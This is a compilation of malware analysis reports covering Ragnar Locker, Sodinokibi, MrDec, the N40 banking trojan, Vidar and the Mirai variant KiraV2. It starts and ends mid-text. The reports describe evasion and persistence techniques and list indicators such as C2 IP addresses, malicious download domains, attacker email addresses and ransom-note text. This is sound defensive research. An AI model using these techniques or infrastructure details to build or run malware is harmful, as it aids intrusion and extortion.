NmJFQ0EyYjJBRkZmQkMxRGZmMGFhMEVhYUFkNDY4YmVjMDkwM2I1ZTRFYTU4ZWNkZTNDMjY0YkM1NWM3Mzg5RQ== ---RAGNAR SECRET--- *********************************************************************************** ``` ## Ragnar Locker Decryption Service It is not possible to decrypt files without having the master key or decrypter. The ransom note provides the address of the leak site, live chat, and Ragnar Secret. The Ragnar Secret described above as ‘company_id’ encoded with Base64. The data leak site is created to publish sensitive data stolen from the corporate network before running Ragnar Locker, because the ransomware has no network communication. ## Detection of Ragnar Locker by Acronis Cyber Protect Ragnar Locker ransomware is detected and blocked by Acronis Cyber Protection products in multiple layers, for example by signatures as well as by behavior detection. ## Conclusion Ragnar Locker employs advanced defense-evasion techniques to bypass antivirus protection. It uses a small Windows XP virtual machine image to launch its payload and encrypt the files on a user’s drive connected as a network drive. It poses a significant risk to organizations even with anti-malware solutions installed. ## IoCs - MD5 (packed): 6d122b4bfab5e75f3ae903805cbbc641 - SHA256 (packed): 68eb2d2d7866775d6bf106a914281491d23769a9eda88fc078328150b8432bb3 - MD5: 6360b252b21fe015d667b093f6497e33 - SHA256: 1de475e958d7a49ebf4dc342f772781a97ae49c834d9d7235546737150c56a9c - ragnar_{computer_id} - .keys - RGNR_{computer_id}.txt
# Electric Company Ransomware Attack Light S.A., a Brazilian electrical energy company, was recently affected by ransomware where the cybercriminals demanded a payment of 14 million U.S. dollars. The company issued comments to a local newspaper confirming the attack; however, technical details were not disclosed. Our malware analysis team had access to the binary likely used in the attack and confirmed that the sample is from a family known as Sodinokibi (aka REvil). Although we can't confirm that this was the exact same file used in the attack, the evidence points to a connection to the Light SA breach, such as the ransom price. The sample was automatically collected by AppGate Labs on June 17, 2020, through our live hunting process, and as the binary was sent to a public sandbox, this suggests someone from the company submitted that file attempting to understand how it works. ## Machine Infected with Sodinokibi Sample The sample is packed and works the same as other binaries identified from this family. Once unpacked, we were able to decrypt its configuration and access relevant data about the threat, such as the actor/campaign ID and the URL the victim must access to get instructions. ## Ransomware Attack Asking 14,000,000 USD According to the page hosted on the deep web, the ransom amount must be paid using the virtual currency Monero. Prior to June 19, the total was 106,870.19 XMR, equivalent to 7 million USD. However, since the deadline has passed, the price has doubled to 14 million USD. The whole attack looks very professional; the web page even includes chat support, where the victim can speak directly with the attacker. Sodinokibi works as a RaaS (Ransomware as a Service) model, and the group behind the operation seems to be affiliated with "Pinchy Spider," the same group behind GandCrab ransomware. ## Deep Web Panel With the URL collected from the binary, we accessed the webpage (hosted on the deep web) and confirmed details about the attack. The ransom price is extremely high, likely due to the affected company belonging to an important sector. ## Ransomware Asking for 7,000,000 USD Before Deadline There is an ‘About Us’ section that contains a small overview of the Sodinokibi family. It also provides online chat support, where the victim can interact with the attackers. In the images below, we can see that someone reached out to the attacker. We decided to censor the images to reduce the exposure of the person involved. At the end of the chat, the attacker sends a file that is supposedly confidential, proving to the victim that the data can be decrypted and suggesting that the file was probably stolen from the company's network. ## Technical Details The main file is packed and uses two shellcode streams for unpacking and execution. First, it allocates a memory space using the “LocalAlloc” API, writes an encrypted shellcode to it, and transfers execution once decrypted. This shellcode unpacks Sodinokibi along with a second shellcode, which will eventually load the final binary into memory. Finally, the shellcode injects the unpacked Sodinokibi binary into the same process space by wiping the original PE file from memory and writing the new PE. The binary is highly configurable; the setting is encrypted with RC4 and is usually stored in a randomly named section, in this case, the section name is “.cfg.” Upon execution, it decrypts the content of this section into an allocated memory space. The decrypted configuration is presented in a JSON format and contains several options used by the malware. | Key | Type | Description | |-------|--------------------|-----------------------------------------------------------------------------| | dbg | Boolean | If true, ignores keyboard layout check | | dmn | List of strings | List of domains for communication (C2 servers) | | exp | Boolean | If true, enables privilege escalation using CVE-2018-8453 as exploit | | fast | Boolean | If true, it encrypts just a part of the file | | img | String | Message displayed on desktop background | | nbody | String | Contents of the “readme” file (base64 encoded) | | net | Boolean | If true, sends POST requests to the C2 servers | | nname | String | Name of “readme” file | | pid | String | Actor ID | | pk | String | Public encryption key (base64 encoded) | | prc | List of strings | Process to terminate | | sub | String | Campaign ID | | wfld | List of strings | List of folders to wipe | | wht | Dictionary | Contains information about whitelist (to skip encryption) | | wht.ext | List of strings | Whitelisted extensions | | wht.fld | List of strings | Whitelisted folders | | wht.fls | List of strings | Whitelisted files | | wipe | Boolean | If true, wipes the folders specified in “wfld” | An interesting capability not utilized by this specific sample is if “exp” is “true,” it tries to escalate privileges by exploiting a vulnerability in “win32k.sys” (CVE-2018-8453) with both 32-bit and 64-bit versions of the exploit, using a technique known as “Heaven’s Gate” to execute 64-bit code in a 32-bit process, located in the “.rdata” section of the PE file. Also, if the “dbg” option is set to “false,” the malware will check the UI language and the keyboard layout of the infected machine. This ransomware has a whitelist based on location; if the return value matches any value of the list, it will not encrypt files on the machine. Furthermore, it uses PowerShell to delete Windows shadow copies. Once encrypting all the files, it changes the background with a specific image. Lastly, it appends a ransom note to every folder where encrypted files can be found. Unfortunately, there is no global decryptor for the family, which means that the attacker's private key is required to decrypt the files. During the attack, we noticed that the company’s website was offline, presenting an error message related to the database, which could be related to the attack. ## IOCs **SHA1:** f09e5e72b433d11a32efe2e5d63db0bc7b8def59 **SHA256:** 140f831ddd180861481c9531aa6859c56503e77d29d00439c1e71c5b93e01e1a **SSDEEP:** 3072:oCc99moUMXv84IHesgkSx+oN/7KzTKDyOX6wKamrJPlM8dj09br:oCc9wHRtg9xkNq6wK7dq40 **Mutex:** Global\57E6EA0F-4648-EF95-9F98-C3221B4D31F9 **Registry Keys:** HKLM\SOFTWARE\Facebook_Assistant\s17 HKLM\SOFTWARE\Facebook_Assistant\JYhB HKLM\SOFTWARE\Facebook_Assistant\jH5dJ HKLM\SOFTWARE\Facebook_Assistant\nsWSeU HKLM\SOFTWARE\Facebook_Assistant\CSGtvzp HKLM\SOFTWARE\Facebook_Assistant\cDQ1QZoS **Sodinokibi Actor ID:** $2a$10$D/hOr8pZfTXyeVodyREcseBOlXf2dcLmqmQJTa4y2uSfGkhEZXq62 **Sodinokibi Campaign ID:** 4430 **Public Encryption Key (base64 encoded):** 5OflM/v+EILgBXm+0q5qAVIHbpAd3zVkD2aFdBKJe0g= **C2 Servers:** Please find a list here: [C2 Servers List]
# MrDec Ransomware I took notice of the Ransomware Family after a series of posts in the Bleeping Computer Forum. It employs techniques that are not seen very often in other ransomware samples, so the analysis is actually quite difficult, but I'm hoping reading this is also a bit interesting at least. **Work in Progress** Because Christmas and 36c3 is coming up in the next few days, I might have to push this analysis back a bit. A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be f$cking careful. Also, check with your local laws as owning malware binaries/sources might be illegal depending on where you live. **MrDec** SHA256: `a700f9ced75c4143da6c4d1e09d6778e84ff570ea7d297fc130a0844e56c96ad` Let's see what we're dealing with here and fire up Detect it easy: The ransom note is delivered via a .hta file. Like most other strains active in the last few months, the criminals use two email addresses: a "primary" and a "backup." In this case, they are using Protonmail and AOL, which has been kind of a pattern for them (Tutanota is their third preferred service; a list of previously used mailboxes is available down below in the IOCs Section). Opening the note in another browser (Chrome in this case) won't show the instructions but a countdown timer. The victim won't be able to see the timer in most cases because when using Internet Explorer, scrolling is disabled. In the following screenshot, you can see the "Process Killing" routine of MrDec. **MITRE ATT&CK** - T1215 --> Kernel Modules and Extensions --> Persistence - T1179 --> Hooking --> Persistence - T1060 --> Registry Run Keys / Start Folder --> Persistence - T1055 --> Process Injection --> Privilege Escalation - T1179 --> Hooking --> Privilege Escalation - T1055 --> Process Injection --> Defense Evasion - T1045 --> Software Packing --> Defense Evasion - T1112 --> Modify Registry --> Defense Evasion - T1107 --> File Deletion --> Defense Evasion - T1179 --> Hooking --> Credential Access - T1012 --> Query Registry --> Discovery - T1057 --> Process Discovery --> Discovery - T1076 --> Remote Desktop Protocol --> Lateral Movement **IOCs** **MrDec** searchfiles.exe --> SHA256: `a700f9ced75c4143da6c4d1e09d6778e84ff570ea7d297fc130a0844e56c96ad` SSDEEP: `192:QEsTzSIs3HIuvipDu3uTtKTzTwmH+STs8fpgiRHIYGL4vKrGoO:QE0JoapKeTtKTz8s+S48h5dIYxK` **Registry Keys** HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run unlock --> `"c:\Decoding help.hta"` searchfiles --> `C:\windows\searchfiles.exe` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\DateTime orsa --> `06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 07 AF 04 2E A4 1A 3C 08 5E 32 C7 4F 6A DB C8 7C 91 6B C1 FE 73 38 2F 4F 7C EA B8 B6 BC BD CB 22 5C 6B E6 1C E0 35 24 58 ED C8 BC EF A9 A6 EC AE 4F 84 AF BC E8 D7 50 4B C5 2A 6F 85 5E E9 A1 46 5F 2A 65 E7 0E 97 74 4B 16 D5 C4 4C 28 6B 17 47 EC F0 B9 A5 72 C4 DB EE 67 1D C6 0D DD 58 93 FF CE 38 64 5D 92 0E 93 AC A6 BC 31 B5 6D ED A6 74 8F 59 F3 40 EF FD A9 7D 18 12 4F 0A 51 AF D6 1F EE 1E 17 4B A2 D7 CD 20 B4 4F FD DF 5C BB CD B6 A4 BC D2 8D 85 17 F9 95 BF FD 67 16 36 15 69 7A BC A2 FD 0F EC F6 D4 A4 92 94 3A AC FC 78 77 81 4B F4 E8 2E AD 55 52 27 67 EF E9 48 1F 1D 8B F5 35 8F 71 AA DA 84 75 79 A2 1C BD 32 90 8B EB 54 88 3F CC 51 C9 48 2A 47 76 79 CE EB B4 A7 ED D5 DF C3 EB 50 09 25 CC FE F3 DB 49 29 A6 6B 4F 69 AF 10 3A 1F 2F 86 1A 0C B4 90 EB 21 DF 4E 43 B3` rsa --> `3C 53 81 1E 96 58 52 7C 67 7D 5F 60 14 15 29 1B 72 AC F5 F6 B7 B8 54 32 B7 63 1A 24 4F B2 9E B5 C7 8B 29 68 40 6B 44 80 FA E4 5E 53 7B 4A 1D DE AD 28 4A E0 EF 65 1E 09 00 75 34 15 79 59 86 C9 61 ED DD E2 AE 4F 3C DA 45 7A 20 3F 85 85 FB 05 22 1E 9D 12 D2 C7 96 AB 8A 99 46 60 F0 CB 10 6C 2E A0 39 FF 07 80 A1 A4 3B 62 E6 71 93 C6 5D 42 00 1B 00 37 76 56 14 2F 72 78 F9 A2 A6 98 49 A7 38 E0 B0 A6 81 B8 F5 7F 79 7C 29 88 79 C3 98 65 C0 69 47 93 59 28 A8 BF 36 6F 88 C0 08 98 0F 6E C8 27 28 9A C8 12 F2 B2 09 7B F0 A3 1E 9A 3A 48 CE 04 C3 61 82 6B AF 2E 0D 46 14 3A F9 47 3E 26 B0 B3 67 49 81 56 DF E8 DF A4 FC 86 88 A0 80 7C 68 6D 46 84 3E 6F 30 FA 20 AC 54 3F AC 8B C3 E9 24 C3 27 31 4C A1 07 98 C2 BD D8 84 02 17 D7 3D 63 83 8F 7C 35 D3 6C C8 29 69 E6 F5 DD D8 DB AA A5 0D 9A 12 43 5D CE CA 47 6E E5 CA A5 DB D8 A6 9F FE FD DE C2 94 24 92 43 C9 08 88 FB B2 33 2B C8 59 1D B6 F2 55 71 E2 83 C7 F5 67 89 03 06 F1 E4 FC F1 13 2D 38 7B 15 DE 05 BE 27 0A AE CD A9 84 2C 3B 66 4B 18 F7 8D 76 31 BD 37 07 ED 1C D9 68 82 94 EF 08 5C B6 29 C4 69 A9 AB 07 6B B7 46 9C 0F DD A9 76 32 B2 D7 F7 FA 3A 25 15 9B A6 F7 55 93 77 DF 67 24 E0 48 B9 CC B0 39 22 B0 51 36 5B F8 DC 2A 0D 19 CC 7E EC D3 9E 9C 68 38 E4 11 DE BD 2B AE 2E A2 FA AC 86 35 D6 DC C8 4E 9D E5 8A BE B3 EC 6C 5B BB BD CB 61 F1 81 99 1F 5E 1A 80 AF 72 75 CA 55 7E 7B 93 ED F3 EB 7A 2F 5E D9 61 32 99 0C 95 3B 4C 9C CD F7 4C A5 4C 5D DB CA 72 2E BB 7B 4D 76 C5 5D CA 27 76 29 C1 4A 36 3E 66 7F 5F 29 A1 A8 AD FC BB FF 2A 11 16 29 63 8C A8 92 75 FC 0E 56 72 DC 01 9B B9 81 1C E0 14 84 8F F2 1B 15 F8 AC 0A BA 07 22 6D E0 DA A0 8B CF C1 26 0C 69 78 48 BE 24 53 E6 5E A7 A7 10 24 58 EA 26 30 6A 37 0E 30 9A FF 6E 18 90 2F 93 33 61 11 C1 7B 62 85 A8 A0 E8 3F EA 65 FC 58 3E FD BC 20 55 03 C3 95 63 2E AD 9D 0A 8E 45 87 F6 19 34 D3 48 7E 2E F2 06 BE D0 EE B9 6D 82 62 3E 51 C9 27 96 64 07 84 70 50 C0 A1 2B 13 D3 25 EA C8 62 F1 1F C5 59 B0 6B 3B 52 54 3B 1B 21 42 7B 80 CB E7 58 3D F2 A3 7F F8 48 C0 9E 1E 78 E4 0F F0 7F 50 4D D8 06 C2 53 47 3A 93 B0 AD D7 BF 5A 3F 5A F8 5B BF 60 66 0B EC B6 AF 50 5B 52 9C 82 E3 F8 EC 40 FF ED AB 4C 5C 29 E7 C4 41 87 48 B4 C1 92 74 54 A1 47 70 8A 03 94 AE AE 57 86 FF E2 BE 14 E6 F8 0C D1 73 D9 1A 2E 2E 1E B1 9E 31 3A 3D 0A F1 19 6C 4C 48 F9 C0 7A 58 9E 8F 46 F7 9C 14 26 64 2A 57 A1 88 2A A7 D5 02 6B 76 AE AB 69 C8 64 16 7A 7F E0 43 A7 14 DE 29 19 A7 3B 78 D7 02 8C 9F F5 BF 09 1E 6B BB 47 88 3E 30 76 3B DF AF 87 CB 47 2A 84 D8 B9 88 96 09 A1 EF B0 1E 99 B1 0E 07 8D 37 FF 94 BF C6 94 17 AD 95 15 30 78 FE FC 9A AB 6E B8 8B C2 9E F0 B9 8B 83 30 45 DF F3 22 28 AD 4A 8D 69 E4 7E B6 83 1E 80 C9 8B 9C 97 BE ED FD 72 D8 A8 68 21 79 CC 53 87 54 FE CB D7 38 A0 44 ED E3 15 48 D6 CD E1 14 32 0A 49 72 FC 08 7F 36 17 60 5B CA B1 BE 89 21 08 09 02 25 94 AC E2 A0 B8 F5 B6 DF 49 17 86 C6 A3 4A 7D 48 0F 27 EF 1E 48 91 71 A1 A3 2A D3 2F CF 4F B8 39 B7 04 76 CA 26 EA CF C8 A7 0F 42 BD 7B A7 50 FC 01 D3 94 1B 8B 2C F3 1C 87 CA E0 9F E3 CA B9 FF 31 69 ED DB 5F E2 2E 04 64 52 08 C8 B3 F5 9F 04 CB 31 7C D3 AD 78 76 83 5F 53 8F 5C 3C D8 CD 4D 2D 49 8A 2C CA 4D C9 43 AC B0 88 45 E5 41 7F FA 1D BF 92 9D BF C0 06 5C 24 CE 44 A1 F6 D0 ED 0C 46 BF 88 F2 DA B1 71 D6 E6 EE 87 85 29 36 AD 84 ED 7D F8 4C 8F BB 5A 44 DA 4C A4 4B B7 60 17 B8 BE 49 12 DB 15 DC 84 D4 89 08 B5 27 84 71 92 5E 3D 5A A3` **E-Mail Addresses** First campaign (May 2018): [email protected] [email protected] Second campaign (September/October 2019): [email protected] [email protected] [email protected] [email protected] Third campaign: [email protected] [email protected] [email protected] [email protected] Fourth campaign: [email protected] [email protected] [email protected] [email protected] **Ransomnote V1** You are unlucky! The terrible virus has captured your files! For decoding please contact by email [email protected] or [email protected]. 1. In the subject line, write your ID. 2. Attach 1-2 infected files that do not contain important information (less than 2 mb) required to generate the decoder and restore the test file. Hurry up! Time is limited! **Attention!!!** At the end of this time, the private key for generating the decoder will be destroyed. Files will not be restored!
# Attackers Exploit DLL Hijacking to Bypass SmartScreen Delaware, USA – May 11, 2018 – DLL Hijacking technique has long been known, remaining effective enough to bypass some of the security solutions, so attackers used it in new malware. ElvenPath analyzed banking trojan N40, used in a recent campaign against Chilean banks. This malware is the evolved Brazilian banking trojan used in attacks last fall. Adversaries can use it to gain access to an infected system, steal credentials and valuable data, as well as to replace bitcoin wallet in the victim’s clipboard. The trojan uses unusual techniques to avoid detection by security tools. To bypass Windows SmartScreen, the first stage malware drops the legitimate WMnat.exe file to the attacked system, then saves to the same folder shfolder.dll, which in fact is N40 trojan renamed and signed with a digital certificate purchased in the Black market. After that, the downloader runs WMnat.exe that loads the trojan into memory, and Windows SmartScreen only detects execution of a legitimate application. Malware bypasses many signature-based anti-virus solutions, uses real-time string decoding techniques to hide in system memory, and uses non-standard ports to communicate with Command & Control servers. The researchers did not mention how the attackers spread the N40 banking trojan but noted that threat actors behind this campaign are successful, and this evolved malware is efficient against standard solutions used in the banking sector. To detect exploiting of DLL Hijacking technique, you can use ArcSight with File Hash Analytics use case, which can quickly find files with the same name, but different hashes.
# Microsoft Windows 11 Help: Vidar Spyware ## Summary In April 2022, ThreatLabz discovered several newly registered domains created by a threat actor to spoof the official Microsoft Windows 11 OS download portal. These domains were used to distribute malicious ISO files leading to a Vidar infostealer infection on the endpoint. The variants of Vidar malware fetch the C2 configuration from attacker-controlled social media channels hosted on Telegram and Mastodon. ThreatLabz believes that the same threat actor is leveraging social engineering to impersonate popular legitimate software applications to distribute Vidar malware. An attacker-controlled GitHub repository was identified, hosting several backdoored versions of Adobe Photoshop, which also distribute Vidar malware using similar tactics. In this blog, ThreatLabz analyzes the Vidar distribution vector, threat actor correlation, and technical analysis of the binaries involved in this campaign. ## Key Points - ThreatLabz discovered several newly registered domains spoofing the official Microsoft Windows 11 OS download portal. - The spoofed domains were distributing malicious ISO files containing samples of the Vidar infostealer malware. - The actual C2s used by the malware samples are obtained from attacker-controlled social media channels hosted on Telegram and Mastodon. - Using data obtained from this campaign, ThreatLabz identified another similar one using backdoored versions of Adobe Photoshop. ## Distribution Vector - Windows 11 Theme The threat actor registered several domains beginning April 20, 2022, that host web pages masquerading as the official Microsoft Windows 11 download page. All of these domains were used to spread malicious ISO files spoofed as a Windows 11 download. ### Technical Analysis **ISO File** The binary inside the ISO file is a PE32 binary. The size of the ISO file is very large (more than 300 MB), which helps the attackers evade network security products with file size limitations. Example MD5 hashes for this campaign are shown below: - ISO file MD5 hash: `52c47fdda399b011b163812c46ea94a6` - PE32 file MD5 hash: `6352540cf679dfec21aff6bd9dee3770` The binary inside the ISO file is digitally signed with a certificate by AVAST. However, this certificate is expired and hence invalid. All binaries in this campaign were signed by a certificate with the same serial number, indicating a likely stolen certificate from the AVAST compromise back in 2019. **Vidar Samples** The Vidar samples in these campaigns are packed with Themida and over 330MB in size. However, the sample contains a PE file that is only around 3.3MB, with the rest of the file content artificially filled with 0x10 bytes to increase the file’s size. The Vidar static configuration contains embedded parameters needed by the sample to communicate with its C2: - Profile: 670 - Profile ID: 739 - Version: 51.9 - URL marker: hello - URL1: `https://t.me/btc20220425` - Real C2: `195.201.250.209` - URL2: `https://ieji.de/@ronxik213` - Real C2: `107.189.11.124` The botnet can be identified by its profile ID. Both hardcoded URLs are from social media sites, used as a dead drop resolver. The URL marker instructs Vidar to parse the second stage URL from the social media profiles located at the dead drop resolver. ### Distribution Vector - Adobe Photoshop Theme ThreatLabz identified an attacker-controlled GitHub repository hosting backdoored versions of Adobe Photoshop Creative Cloud, attributed to the same threat actor. **Technical Analysis** The sample with the MD5 hash `6ae17cb76cdf097d4dc4fcccfb5abd8a` belongs to this Adobe Photoshop theme campaign. The Vidar static configuration downloaded from the C2 was as follows: - Profile: 1199 - Profile ID: 0 - Version: 51.8 - URL marker: hello - URL1: `https://t.me/mm20220428` - Real C2: `195.201.250.209` - URL2: `https://koyu.space/@ronxik123` - Real C2: `107.189.11.124` The Vidar stealer configuration downloaded from the C2 was the same as the previous sample. ## Social Media Abuse for C2 Communication All binaries involved in this campaign fetch the IP addresses of the C2 servers from attacker-registered social media accounts on Telegram and Mastodon networks. The threat actors have abused other social media networks, with the abuse of Telegram being a new tactic. ### Telegram Abuse The threat actor created several Telegram channels with the C2 IP address in the channel description. The format used to store the C2 IP address is `<C2_Url_Marker> <C2_IP_address>|`. The naming convention for the Telegram channels includes a date corresponding to when these channels were created. ### Mastodon Network Abuse The Mastodon network allows anyone to deploy their own instance of a self-hosted online community. The threat actor created profiles on these communities and stored the C2 IP address in the profile section using a similar format to that used for Telegram channels. ## Conclusion The threat actors distributing Vidar malware have demonstrated their ability to social engineer victims into installing Vidar stealer using themes related to popular software applications. Users should be cautious when downloading software applications from the Internet and only download from official vendor websites. The Zscaler ThreatLabZ team will continue to monitor this campaign and others to help keep customers safe. ## Indicators of Compromise **Hashes** - `52c47fdda399b011b163812c46ea94a6` - `da82d43043c101f25633c258f527c9d5` - `e9a3562f3851dd2dba27f90b5b2d15c0` - `6ae17cb76cdf097d4dc4fcccfb5abd8a` **Domains** - `ms-win11[.]com` - `ms-win11.midlandscancer[.]com` - `win11-serv4[.]com` - `win11-serv[.]com` - `win11install[.]com` - `ms-teams-app[.]net` **URLs for Fetching C2 Addresses** - `https://t.me/btc20220425` - `https://ieji.de/@ronxik213` - `https://koyu.space/@ronxik123` - `https://t.me/mm20220428` **URLs for Fetching ISO Files** - `files.getsnyper[.]com/files/msteams/Setup.iso` - `files.getsnyper[.]com/files/windows11/Setup.iso` - `files.getsnyper[.]com/files/msteamsww/Setup.iso` **Actual C2s** - `195.201.250.209` - `107.189.11.124` - `5.252.178.50` ## Appendix **Decoded Strings** - Wallets - Plugins - Various file paths and configurations related to different applications and browsers.
# New Mirai Variant Targets IoT Devices Mirai malware surfaced for the first time in 2016. It was notorious for infecting Internet of Things (IoT) devices across the globe and using botnets to launch distributed denial-of-service (DDoS) attacks. After the source code for Mirai was published, there was an influx of attackers using Mirai to infect IoT devices and perform DDoS attacks on their targets. To this day, diverse variants of Mirai are still widely distributed online. The recent variants of Mirai being distributed have an additional remote code execution vulnerability compared to the previous source code. This is to secure the botnet by infecting more vulnerable IoT devices. The recent variants of Mirai scan connectible devices for vulnerabilities and use remote code execution to distribute the malware on vulnerable devices. Among the variants of Mirai, KiraV2 malware is one of the main variants that have a remote code execution vulnerability attack routine for mass distribution. KiraV2 has become an improved and enhanced version of Mirai malware regarding distribution methods. Due to the advent of COVID-19, employees working from home using remote devices are increasing in numbers. Following this trend, experts must pay close attention to Mirai malware, as its pool of potential targets has expanded. This analysis report will introduce the key characteristics and attack flow of KiraV2, a variant of Mirai malware, and compare the two malware based on their different attack flows. ## Static Analysis of KiraV2 Malware KiraV2 malware removed unnecessary source codes from the original source code of Mirai and added a new routine to further distribute the malware. This malware also shows the signature string name 'KiraV2,' as intended by the malware operator. However, various other non-Mirai malware that uses parts of Mirai’s source code, such as Gafgyt, have also been found. KiraV2’s overall features are very similar to those of Mirai. KiraV2 malware’s primary goal is to launch DDoS attacks. KiraV2 is equipped with various features to distribute itself to vulnerable IoT devices to acquire various botnets. It also uses the same routines used by Mirai and targets IoT devices with embedded Linux OS and BusyBox installed. For its vulnerability attack, KiraV2 mainly targets two types of devices: MVPower DVR with JAWS Web Server installed and Huawei routers. Commonly, Mirai malware uses telnet brute-force attacks, also known as telnet dictionary attacks, against vulnerable devices to obtain sensitive information, such as account information, to log in and download malware from external sources. However, analysis of recently distributed variants revealed that Mirai's variants have the feature of spreading themselves to vulnerable devices using remote code execution vulnerability. Likewise, KiraV2 also has an added remote code execution vulnerability attack routine for distribution. Typically, Windows OS installed in desktops and servers are based on x86 and x64 CPU architecture. To match this, malware that targets Windows is created as executables in a PE format to target x86 and x64 architecture. However, embedded Linux installed in IoT devices supports various CPU environments, and malware that targets these environments must be able to target not only x86 and x64 but also various other architectures, such as ARM, MIPS, M68, SPARC, and SH4. To support these various architectures, Mirai uses uClibc cross-compiler. To build malware that targets Linux server and desktop environments, glibc is commonly used. However, since Mirai targets embedded Linux, uClibc-based cross-compiler was used. The same goes for KiraV2; uClibc-based cross-compiler was used to develop KiraV2. The current analysis sample is based on ELF binary of x86 architecture, but Mirai-type malware is cross-compiled and spreads to other architectures, such as ARM and MIPS. As mentioned above, along with their interaction with architecture and library, one of the key characteristics of IoT malware is the way in which it was built. When building the library dynamically, the malware cannot run normally unless there is a dynamic library, such as uClibc in the distribution target. Thus, most of the malware that targets IoT devices are distributed with static libraries. ## Attack Flow Now, let's compare the execution method and attack flow of Mirai and its variant, KiraV2. KiraV2’s attack flow has an added vulnerability distribution stage that does not exist in Mirai. ### Key Features per Phase **a. Bot** - **a.1. Reset:** Mirai and KiraV2 encode and store most of the strings, including the C&C server address, and decrypt the strings for future use. To do this, they first reset the encoded strings. There are also other routines in which the strings can be executed via the analysis disruption technique and daemon process. - **a.2. Keep Alive:** Prevents system reboot via watchdog. - **a.3. Terminates Other Malware:** Searches for process names and deletes processes with specific names of the existing malware. - **a.4. Distributed Denial-of-Service Attack (DDoS):** Supports various types of DDoS attacks, such as TCP Ack Flooding and UDP Flooding. - **a.5. Distribution:** Launches dictionary attack on IoT devices with vulnerable account information (ID/PW). KiraV2 adds a distribution routine that uses remote code execution vulnerability in addition to Mirai’s distribution methods. **b. C&C Server and DB Server** - **b.1. C&C Server:** Uses DB server to manage infected IoT servers. It can receive commands from attackers to perform DDoS attack commands on infected IoT devices. - **b.2. DB Server:** Mirai uses DB server to manage various infected devices. **c. Report Server and Loader** - **c.1. Report Server:** Sends key information, such as IP address of vulnerable IoT devices and account information (ID/PW) received from the Bot to the Loader. - **c.2. Loader:** Uses info on vulnerable IoT devices, received from report servers to log in, download, and run additional malware. The original source code for Mirai uses wget, tftp, and echo to spread to other devices. Currently, KiraV2 can only secure the bot binary, but its operation method is similar to that of Mirai. Because of this, it can be assumed that the C&C server, DB server, report server, and loader mechanism used by Mirai are also used by KiraV2. We went through KiraV2’s attack method using the attack flow chart. Now, let us take a closer look at the difference between Mirai and KiraV2 by going over the key characteristics of each malware per attack phase. ## Reset ### C&C Server Address Mirai hides the C&C address via anti-debugging technique using signal() function. The signal() function is used to register a handler function, which handles a specific signal. It registers a function that returns the real C&C address as a handler for SIGTRAP signal. To disrupt analysis, it acquires a fake C&C address. Before communicating with the C&C server, it uses raise() function to raise SIGTRAP signal and makes the signal recipient invoke the handler function, previously registered as signal() function, to return the real C&C address. By performing this action, even if the signal is raised via the raise() function during the analysis in the debugging environment, the signal will only be handled by the debugger and the handler function will remain hidden. If debugging is not involved, then Mirai normally executes the handler function that was previously registered to obtain the real C&C address. KiraV2, on the other hand, uses the signal() function to register the handler for the SIGTRAP signal. However, instead of using the anti-debugging technique, which utilizes the raise() function, it directly imports the hard-coded C&C address. It can be assumed that the developer of this malware did not consider the debugging routine realized in Mirai as a necessary feature. The C&C server address of KiraV2 malware is as follows: - C&C server address: 165.232.36[.]42:8985 ### Anti-analysis Technique KiraV2 and Mirai have different ways of approaching debugging techniques. On the other hand, they utilize the same anti-analysis technique of changing the process name. The routine of changing the process name first creates random data and changes the string located at argv[0] inside the memory of a process. Afterward, the 'ps' command or 'cat /proc/$pid/cmdline' command result can be used to check the process name, which has been changed to a new value. The second method is using the prctl() function. The malware sets and sends PR_SET_NAME, which is an option for changing the process name and random name as parameters of ‘prctl()’ function. Afterward, command results of process names, such as ‘cat /proc/$pid/comm’ and ‘cat /proc/$pid/stat,' change to random values. ### Reset String Mirai encodes and stores most of the strings. It decodes them and uses them only when they are needed. The strings include the C&C server address/port number, report server address/port number, and strings used later on in the stage. KiraV2, on the other hand, encodes and stores the port number of the C&C server and report server but does not encode the server address. Instead, it stores them hard-coded. After using the string, it gets encoded back. This is an analysis disruption technique to prevent decoded strings from being checked even when dumping memory. The encoding routine is decoded via the same routine. This 4-byte key-value becomes XOR 1 byte at a time, so these strings are practically 1-byte XOR-encoded. The key here is 0xB33FD34D, but the key that encodes strings is 0x12 byte. ### Standalone Execution Mirai and KiraV2 both use port numbers to execute standalone. Locally, the malware bind() port 9473 (0x2501), which is the port number for the local address. Whether other processes are currently using this port can be checked based on the result of this action. If failed, the malware assumes that the port is bound to other processes and force terminates the process using this port number. If successful, the malware listens and steals the port number. ### Confirm Normal Execution If all the processes up to this point were normally run, Mirai prints ‘listening tun0’ string. KiraV2 is just like Mirai except it prints ‘KiraV2’ string, designated by the attacker. This is the most unique aspect of KiraV2. This string is encoded and obtained after going through the previously mentioned decoding function. To operate as a daemon process, KiraV2 performs fork(), authorizes a new session, and closes STDIN, STDOUT, STDERR. Lastly, it runs these functions, periodically communicates with the C&C server, receives the command, and executes it. The DDoS botnet receives DDoS attack targets and attack techniques from the C&C server. ## Prevent Reboot: Keep Alive Situations where IoT devices get unintentionally trapped inside an infinite loop do occur, and IoT devices use watchdog to prevent such issues. In an environment where the watchdog timer is set, a routine where a program running in the system periodically resets the counter value must be executed. If the system is in an undesirable situation, such as being trapped inside an infinite loop and no responses are taken, the timer count will reach its limit, resulting in the watchdog rebooting the system and allowing the system to operate normally. Mirai deactivates this watchdog feature. Specifically, for /dev/watchdog and /dev/misc/watchdog, it gives WDIOC_SETOPTIONS (0x80045704) as a parameter of ioctl() function and calls the function to deactivate the watchdog, which prevents the device from rebooting. KiraV2 additionally attempts to deactivate the watchdog for /dev/FTWDT101_watchdog, /dev/FTWDT10_watchdog, /dev/watchdog0, /etc/default/watchdog, /sbin/watchdog. This means that KiraV2 targets more devices than Mirai does. Additionally, after attempting to deactivate the watchdog using WDIOC_SETOPTIONS (0x80045704), it visits iterations periodically, gives WDIOC_KEEPALIVE (0x80045705) as a parameter of ioctl() function, and calls the function to reset the timer to prevent reboot. ## Force Quit: Killer To deal with situations where an IoT device is infected by another malware, Mirai looks up malware processes and force terminates matching ones. KiraV2, which was developed much later than Mirai, targets 321 IoT malware, including "Tsunami," "Owari," "miori," "Okami," and "Omni," which are some of the malware that was previously distributed. Processes included in the targets, once names of these processes are found, are all force-terminated. ## DDoS Attack Mirai malware has various DDoS attack functions stored, which are executed when the C&C server executes a DDoS attack against specific 